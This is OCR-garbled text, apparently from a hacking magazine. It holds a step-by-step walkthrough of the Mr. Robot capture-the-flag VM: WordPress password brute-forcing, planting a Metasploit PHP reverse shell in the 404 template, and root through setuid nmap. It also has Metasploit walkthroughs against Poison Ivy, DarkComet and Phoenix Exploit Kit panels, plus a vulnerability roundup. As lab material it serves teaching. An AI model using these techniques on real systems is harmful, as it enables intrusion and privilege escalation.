| got some info which may be interesting like ro-
-bots.txt, admin login page, Wordpress CMS a--
-nd it's version.

First | decided to check the version of Word-
-press installed, maybe they were using a vuln-

Icew

http://192.1..ks-opml.php x | #
€ 192.168.1.102

[ Most Visited~  JllOffensive Security “§ Kali Linux “& Kali Docs "% Kali Tools [EBExploit-DB Wy Ai

This XML file does not appear to have any style information associated with it. 1

—<opml version="1.0">
—<head>
<title>Links for user's Blogl</title>
<dateCreated>Wed, 19 Oct 2016 12:08:36 GMT</dateCreated>
i generator="WordPri 4.3.6" --»

<fﬁead>
<body> </body>
</opml>

-erable version.A quick search revealed that the
version they were using didn't have any
vulnerabilities.So next | view the robots.txt file

of the site. It
http://192.16... 2/robots.txt % | & gave me two
& 192.168.1.102 fi|eS,

[ Most Visited~ [l Offensive Security S Kali Linux % Kali Docs

fsocity.dic and
key-1-of-3.txt
as shown in

User-agent: #
fsocity.dic
key-1-of-3.txt




First, | opened the fsocity.dic file and saved it
as shown below. This file looks like a dictionary

* 09 sae =

file. Next | got the first key. key-1-of-3.txt. We g-
-ot the first key. We need to find two more keys.

The first key looks like a hash. So maybe crac-
-king this will lead me to rest of the keys. Let us
first identify the type of hash we are trying to cr-
-ack. Although there are many online resources
for this job, | prefer to use tools inbuilt in Kali Li-
-nux. It gives me a feel of hacker. The first tool |
use is hash-identifier to find the type of hash.

:~# has

a ifier
HHHHHR R

#####################################################

R R

#
#
#
#
#
#
#
#
#
#

So it's a MD5 hash. Now let's crack it with anot-
-her tool findmyhash. The syntax is given below

alsun.pl) ...

findmyhash analyzes various online resources

and tries to crack the hash. But in this case, the
hash was not cracked.

ound in passcracking

Disappointing.Since we know the login page,| t-
-ried to get access by using some common us--
-ernames and passwords, but that too failed.

eeeo

Next, | had a look at the file we saved :fsocity.d-
-ic. It looked like a dictionary or wordlist. So | u-
-sed hydra to crack the website login password
giving the same file fsocity.dic as file for both

username and passwords file.

# b

n:

After a long time (I think calling it long would be
an understatement), it gave me some results b-
-ut if you are well versed with hydra ( or for that
matter some other password crackers), you ve-
-ry well know that it has a tendency to give lots
and lots of false positives.

But still | tried all of the usernames and pa-
-swords but they were not correct. Need to do
something different. | thought this VM might



have more of a relation to the popular TV series
apart from the name and the papparazzin we s-
-aw on their site.

So | decided to use the TV series charact-
-er names as credentials. Frankly speaking, ev-
-enthough | know about the TV series, | haven't
watched even one of it's episodes. But we don't
have to watch the show to get the names of ch-
-aracters. We just have to do a simple Google
search as shown below.

ser's Blogl 1 Log x e robot characters x| e

+ a

Characters

Characters | Mr. Robot Wikia | Fandom powered by Wikia
mrrobat «Characters

After some dilly dallying and trial and error, |

guessed one of the usernames. It's elliot.
T T S N WYY

ee0

. A0 O 4 ae =

W

Now using elliot as username and the fsocity.di-
-c file as password list, | tried hydra once again.

Lot of false positives once again. | tampered wi-
-th the number of threads and some other optio
-ns but the result was same. But this time, this

scan gave me some new info.The file seems to

be having a lot of words repeated. So it's time
to trim the wordlist.

'G_IS_OBJECT (o

'6_IS_0BJECT (o

The sort command in linux will rearrange the lin
-es in a text file so that they are sorted, numeri-
-cally and alphabetically. Here we are sorting
the contents of the file fsocity.dic and copying t-
-hat into file fso.dic. The unig command filters
out adjacent, matching lines from input file and
write the filtered data to a output file.

So here, with our command,

sort fsocity.dic | uniq > fsorted.dic

we are sorting the contents of the file fsocity.dic
then removing the duplicates from it and writing
it to the file fsorted.dic.

Next, | used the tool wpscan to crack
the password to overcome the problem of false
positives and syntax issues. | gave the new file
fsorted.dic as wordlist for passwords and elliot
as username.

After some time the password is successfully c-
-racked as shwn in the above image. The pass-
-word is ER28-0652. Now we have both the us-
-ername and password and we already know
the login page of website. It's time to login into
the website.



3 text we copied earlier. Then save the file. Now

= we need to start the Metasploit listener. Start M-
-etasploit and load the listener module with the

--=[ Free Metasploit Pro trial: http: /trymsp ]

Ok now we have login access into the website.
Now we need to get a shell access into the we-
-bserver. We will do this using metasploit php Exploit target:

payloads. Let's create a Metasploit php payload g5y yalues we set for the payload we just cre-
as shown below. _ ~ -ated. Now all we need to do is visit a page wh-

-ich doesn't exist on the website. In this case, |
tried logo.php as ahown below.

oo

¢0 9 4 ae =

| saved my payload as 404.php. Open this file
with a text editor and copy the contents of the f-
-ile. We have to paste the copied text on a page
of website.

The question is where to paste it. Well | think it
would be in the 404 page template of the webs-
-ite. What exactly is this 404 template. The 404
page template is a page to which a user is redi-
-rected when he tries a access a page which is - 506 e do this, we will have a meterpreter sh-
not present on the website.If you see somethin- -ell as shown below.

-g as shown below, while browsing a website
it's the work of 404 template page. Fle Edit View Search Teminal Help

LHOST
LPORT 4444

root@kali: ~ [-NON <]

Not Found

It looks like nothing was found at this location. Maybe try a search?

Now go to the 404 page template from the das-
-hboard. It's at Appearance->editor->404 temp--
late. Delete the text of that page and paste t he

Once | got the meterpreter session. the first
‘| thing | do is check my privileges with command
"getuid". | am running with daemon privileges.
Next | want to get a shell by typing "shell" com--
-mand. To get a proper shell | use the same co-
-mmand which | have used in REAL TIME HA--
CKING SCENARIO in SEPT 2016 Issue.
python -¢ ' import pty; pty.spawn("/bin/bash") "

Now | have a proper terminal indicated with '$"




| did some searching as soon as | got the term-
—|naI to search for that second key

this-file-name.txt

After searching in different directories, root dire-
-ctory and home directory seemed interesting. |
had no permission to access the root directory
but in home directory | found a directory named
robot.

var
varnish

uninstall.dat

| navigated into the 'robot' directory and found
what | was looking for : the second key.

The catch was | didn't have permission to view

the file containing the second key but | had per-
-mission to view another file with name passw--
-ord.raw-md5. This seems to be a file containin-
-g a password hash as shown below

| cracked the hash using hash-identifier
and findmyhash and found the password to be *

‘abcdefghijkimnopqrstuvwxyz'.

| logged in into su with username robot and pa-
--ssword given above and | successfully got the
robot user's shell. Now | can view the second k-
-ey. Two gone, more one to find.

| am assming we will not find the third key until
we get root privileges. In REAL TIME HACKIN--
-G SCENARIO of WEB SERVERS, | showed y-
-ou how to get root privileges by guessing pas-
-swords. Now we will see how to get root privili-
-ges using setuid root binaries.

Setuid is an Unix access rights flags that allow
users to run an executable with the permissions
of the executable's owner. They are often used
to allow users to run programs with temporarily
elevated privileges in order to perform a specif-
-ic task. | use the above command to find any
blnarles runnlng W|th setU|d root and find nmap

So | start Nmap with interactive mode and get
the root privileges. Then | go to root directory
and f|nd the third key. All flags captured.

--interactive




Malware Must Die : Poison lvy, Darkcomet, Phoenix Exploit Kit

METASPLOIT THIS MONTH

Till now, in our magazine we have seen how
to exploit vulnerabilities in various programs
with Metasploit.

In this issue, we will see Metasploit targeti-
-ng malware. Malware is a collective term for all
the malicious software. This includes worms, v-
-irus, Trojans, Logic bombs, spyware and Bots.
We will do a special edition on malware in the f-
-uture issues, but in this issue we will see how
to hack remote systems by exploiting vulnerabi-
-lities in some of these malware. This post is a
pure case of hacker getting hacked.

Poison Ilvy RAT

RAT stands for Remote Access Trojan and is a
type of malware. It works when a hacker sends
a malicious file to the victim and he clicks on it.
As soon as the victim clicks on the malicious fil-
-, it sends a connection back to the hacker's
machine. The Hacker can control the victim's
machine using command & control server.
Using RAT's, the hacker can

. Block mouse and keyboards

. Change the desktop wallpapers

. Downloads, uploads, deletes, and rena-

me files

. Destroys hardware by overclocking

. Drop viruses and worms

. Edit Registry

. Use your internet connection to perform

denial of service attacks (DoS)

. Format drives

. Steal passwords, credit card numbers

. Alter your web browser's homepage

. Hide desktop icons, task bar and file

(Data from Wlklpedla )
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You can see the command and control server
of Poison Ivy RAT below . Poison Ivy is one of
the popular most RAT's and many variants of it
are still active. It was used in RSA SecurelD at-
-tack. Poison lvy RAT 2.1.x versions suffer fro--
m a stack buffer overflow vulnerability. Using
this vulnerability, the machines running C&C s--
-erver can be hacked. So here, its a case of ha-
-cker getting hacked.

o8 Poison Iy = | B )

1e] WwibN LAN Computer User Name AceType 05 CPU Rk Wersion P
1 192168.25.131  1927168.25131  USER1-DC..  Administrator  Admin Wik 2122MHz 51148 MiB 213 o

Version 214 ‘Connections ABuild 4 Settings 4 Stats pAbaut Port: 3460  Conned tions: 1

Now let us see how to hack a Windows machi-
-ne running a Poisonlvy C&C server with Pois--
onlvy buffer overflow exploit. Open Metasploit
and load the exploit as shown below. The only
option necessary is RHOST. As shown below,
this RAT runs on port number 3460. Set the
RHOST and check whether the target is vulner-
-able.

5P3

vy 2.1.4 on Windows XP

) = set rhost 182.168.25.132

rs to be vulnerable.

Now, as the target is vulnerable, set the payloa-
-d and hit on Run. You should get the meterpre-
-ter on the remote machine as shown below.



erpreter/bind tcp

964 -> 192.168.25.132:4444) a

DarkComet RAT

This exploit is just like the Poison lvy exploit but
this time we can only download a file from the r-
-emote system running the C&C server of this
RAT.

Start Metasploit and load the exploit as shown }
below. Type command “show options” to see th- |

-e options we need. Look at the options. Althou-
-gh you are familiar with the usual options, ther-
-e are some new options like NEWVERSION,
STORE_LOOT and TARGETFILE.

NEWVERSION : This exploit works on all dark-
comet versions from 3.2 to above. If the version
we are targeting is above 5.1, we need to set t--
-his option to “true”.

STORE LOOT : If you set this option to true, t-
-he file we download will be stored in loot. If the
option is false, the contents of the file will be ou-
-tputted to console.

TARGETFILE : the file to be downloaded from
the remote system.

ary/gather/da

rkcomet_filec

auxiliary/gather/darkcome

Current Setting Required

Target file tc

Set the options as required.| have set store_loot g

option to false. If you don'’t set any targetfile, by
default it will download the config file of Dark
comet.

st -

Lt’s see

false

b running the exploit. We can see

the contents of Darkcomet configuration file as
shown below.

erd imocenfigoind o0

ISIZ|

Now let’s try to download another file. For this,
we need the RC4 key of Darkcomet and the pa-
-ssword you got in the config file is useless. But
there is high probability that a password has not
been set. Then we can just set the DC prefix as
key and run the exploit as shown below.

Here | am trying to download the hosts
file but encounter an error. It’'s probably Windo--
-ws UAC protecting the system.

set key #KCMDDCS1#-890

file C:\\Windows\\S

Ei

empty config file encountered ...

il Now let’s create a text file in the admin folder c-

-alled hello.txt with content as “hello hacker”.

| Now set this as target file and run the exploit.
8 We can see that the text of the file is succesfull-

-y displayed as shown below.

- set targetfile C:\\users adminiihello

Phoenix Exploit Kit

Crimeware is a class of malware designed spe-
-cifically to automate cybercrime. Crimeware is



a type of malware designed to hack remote sys-
-tems through social engineering and other ste-
-alth techinques.

Normally they are bought from shady markets
and used by other hackers to hack users. Itis a
growing problem in cyber security nowadays.

Phoenix Exploit Kit is one such commercial
crimeware tool that probes the browser of the
visitor for the presence of outdated and insecur-
-re versions of browser plugins like Java and
Adobe Flash and Reader, silently installing mal-
-ware if found.

The web panel of Phoenix Exploit Kit suffers
from remote code execution vulnerability. This
exploit exists in the page geoip.php.(The GeolP
extension allows you to find the location of an
IP address. City, State, Country, Longitude, Lat-
-itude, and other information as all, such as ISP
and connection type can be obtained with the
help of GeolP).

Let's see how to exploit this. Start Metasploit
and load the exploit as shown below.

t/multis hoenix

Exploit target:

Set the required options. Actually the only opti-
-on you need to set is the target IP address. i.e
the address of machine running this crimeware.

Use "check" command to test whether the targ-
-et is vulnerable or not.

host 192.168

vulnerable.

Now we know the target is vulnerable. Set the
required payload. For example, here | am
setting a meterpreter paylaod. Then type
command "run" to execute the exploit. We

That's all for this month folks. We will be back.

( HACKING Q8A )

Q: Hello, whenever | load and run an exploit
in Metasploit, | get an error like "segmentat-
-ion fault". Can you help me with this? - Sh.
A : Hi Sh. You need to be more clear on this qu-
-estion. But let me answer this with the informa-
-tion you gave me. You normally get this error
when you are using a local exploit in Metasploit
and you have not started a local listener on you
-ur system. Restart Metasploit and try once
again.

Q: My OS is Windows 10 Home edition.... Is
it possible to install kali Linux on virtual box
with this OS? Thanks you for your reply.
-Romeo Sarte.

A: Romeo Sarte, Yes you can install Kali Linux
in Virtual box on Windows 10. Just download
the version of Virtualbox (version 5) compatible
with Windows 10 and the process is same.

Q: I read the article on your blog " Hacking
Windows with Hercules ". Are you sure no
antivirus will detect it?- John

A : The race between malware and anti-malwa-
-re is a continuous arms race. At the time of wri
-ting the tutorial, it was undetectable. But as |
said antivirus programs too evolve. So it's dete-
-ction rate may have been increased.

Q: SQL injection can also be performed usi-
ng tools like Havij, Right. What is the need
of doing it manually. (Regarding the article
"Sql injection for beginners" in Hackercool
Oct 2016 issue)- Anony

A: Anony, Thank you for your insight. The main
intention of that article was to make readers un-
-derstand how SQL injection works. Although a-
-utomated tools are easier to use, (as you expr-
-essed) there are still many people who love
the manual approach.

4 )
Send all your queries
about
hacking to
qa@hackercool.com
- J




TOP 10 VULNERABILITIES THIS MONTH

10.Exponent CMS Arbitrary Code Execution
and File Upload Vulnerabilities:

Version 2.3.9 of Exponent CMS prone to multip-
-le remote code-execution vulnerabilities and a
file-upload vulnerability. Although this particular
version is vulnerable, other versions may also
be vulnerable.

09.Huge-it catalog 1.0.7 Joomla Ajax_url.php
sql Injection :

A SQL injection vulnerability was found in huge-
it catalog plugin (version 1.0.7) of Joomla. Itis a
critical vulnerability. This vulnerability affects an
unknown function of the file ajax_url.php.

This plugin is used for demonstration, sale, adv-
-ertisements for your products and boasts of co-
-mmendable downloads.

08.Microsoft Windows Graphics Componen-
-t remote Code Execution Vulnerability:
Microsoft Windows Graphics component is pro-
-ne to remote code execution vulnerability. Ope-
-rating systems from Windows Vista, Windows
7-10, Windows server 2008- 2012 are all vulne-
-rable to this vulnerability. If you are running yo-
-ur machine with an administrative account, the
impact is more destructive.

07. Adobe Flash Player :

Adobe Flash Player is a regular victim of vulner-
-abilities. This time it's a critical vulnerability tha-
-t will allow hackers to tacke complete control of
the vulnerable machine. All the machines from
Windows 7 to 10 are the targets and the exploit
is already being used in the wild. The vulnerabi-
-ty is a Use-after-free vulnerability and is prese-
-nt in Adobe Flash Player before 18.0.0.366 and
19.x through 22.x before 22.0.0.209 on Windo-
-ws and OS X and before 11.2.202.632 on Linu-
-X. Adobe has already released a emergency
patch.

06. Magento CMS :

Magento CMS is prone to a cross-site scripting
vulnerability. This may allow the attacker to ste--
al cookie-based authentication credentials and
launch other attacks. Versions prior to Magento
Community Edition 1.9.3 and Enterprise Edition
1.14.3 are vulnerable. Apart from this, the mag--
-ento CMS is vulnerable to Dirty Cow vulnerab-

-1lty.

05. Internet Explorer and Edge Browsers :
Internet Explorer versions 9,10,11 are suscepti-
-ble to remote code execution vulnerabilities. T-
-his can be exploited if a user is made to view a
specially crafted webpage using IE9, 10 or 11,
through which attacker can get shell with the pr-
-ivileges of the current user.

Edge browser, which is the primary browser
in Windows is prone to remote code execution
vulnerabilities.

04. Linux Kernel 'mm/memory.c' Local Code
Execution Vulnerability :

All Linux kernels prior to version 4.1.4 are vuln-
-erable to local code execution vulnerability. Of
course this is a local exploit andonce exploited
the hacker gets the rights of the current user.
03.Microsoft Windows Kernel 'Win32k.sys
Local Privilege Escalation Vulnerability :

All Microsoft Windows versions from Vista to W-
-indows 10 are prone to a local privilege escala-
-tion vulnerability that occurs in the Windows
kernel. The vulnerability is present in function
NtSetWindowLongPtr in the library win32k.sys
of the component Kernel.

02.Canonical ubuntu linux use-after-free vul-
-nerability:

All Linux kernels before 4.5.2 are prone to Use-
after-free vulnerability in the __sys recvmmsg
function in net/socket.c. This allows remote att--
-ackers to execute arbitrary code via vectors
involving a recvmmsg system call that is misha-
-ndled during error processing.

01. Dirty COW Vulnerability :

Dirty COW vulnerability is a Linux vulnerability
that allows attackers to gain root access to ser--
-vers and take control over the whole system. It
is due to a race condition in the Linux kernel's
memory subsystem handles copy-on-write
(COW) breakages of private read-only memory
mappings. Attackers can use this to gain write
access to otherwise read-only mappings and
this way take control over whole systems.

Most of the popular Linux distros are vulner-
-able to this but patches are already available.
Just updating the system should solve this.




